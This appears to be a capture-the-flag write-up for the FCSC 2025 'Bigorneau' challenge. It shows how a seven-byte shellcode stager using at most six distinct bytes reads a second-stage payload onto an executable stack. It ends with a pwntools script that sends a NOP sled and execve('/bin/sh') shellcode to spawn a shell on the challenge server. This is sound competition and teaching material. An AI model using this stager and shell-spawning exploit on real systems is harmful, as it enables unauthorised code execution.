FCSC 2025 - Bigorneau

Posted Mon 21 April 2025
Author cpu_eater
Category Writeup
Reading 3 min read
Featured image

Context

This challenge was a service that executes a 64 bits x86 shellcode only if this condition is satisfied : We can use the same bytes multiple times but they have to be in a maximum of 6 different bytes in total.

For example, this shellcode is invalid :

00 01 02 03 04 05 06 07 00 01 02 03 04 05 06 07

But this is valid :

00 01 02 03 04 05 05 04 03 02 01 00 05 05 05 05

Strategy

We are limited in the use of the number of bytes. We can use instructions with few opcodes like xor <reg>, <reg> and use 8-bits registers (AL, BL, DL …)

Spawn a shell with only 6 different bytes is quite hard… But this is a shellcode, right ? It means that it accepts anything and we can use read syscall to send anything we want.

read syscall use the syscall instruction, which has these following opcodes : 0f 05.
We have to use them, and only 4 different bytes can be used from now.

The stack is mapped as RWX : let’s try to write our shellcode there ! (When the function returns, it will redirect RIP to RSP, where our shellcode is.) RAX and RDI are NULL : this is perfect for read syscall, to read in STDIN.
I want to use xor rsi, rsp as the second parameter of read to directly read into the stack. Here are the opcodes of this instruction : 48 31 e6.

Alright, so we have 5 different bytes and only one missing for the third parameter of read : RDX register. But this register has a value of 00. We have to change it to read enough bytes for our shellcode.

The strategy was to use mov dl, <value> so that the first opcode is b2. Because we don’t have any different bytes left, we have to use one from what we already choose and we will choose the bigger one, of couse.
Here are the possibilities of bytes :

0f 05 48 31 e6 b2 -> bigger one is e6

Finally, the instruction mov dl, 0xe6 has opcode b2 e6 and this is perfect.

Here is the final shellcode with 7 bytes in total but with a maximum of 6 different bytes :

0:  48 31 e6          xor    rsi,rsp
3:  b2 e6             mov    dl,0xe6
5:  0f 05             syscall         ; read(0,RSP,0xe6)

Exploit

from pwn import *
import time

shellcode = asm(shellcraft.amd64.execve("/bin/sh"),arch="amd64")
payload = b'\x90'*(0xe6 - len(shellcode)) + shellcode

p = remote("chall.fcsc.fr",2102)
p.sendline(b"48 31 e6 b2 e6 0f 05") # read syscall

time.sleep(1)

p.sendline(payload) # Send our shellcode with some NOPsled from read syscall
p.interactive()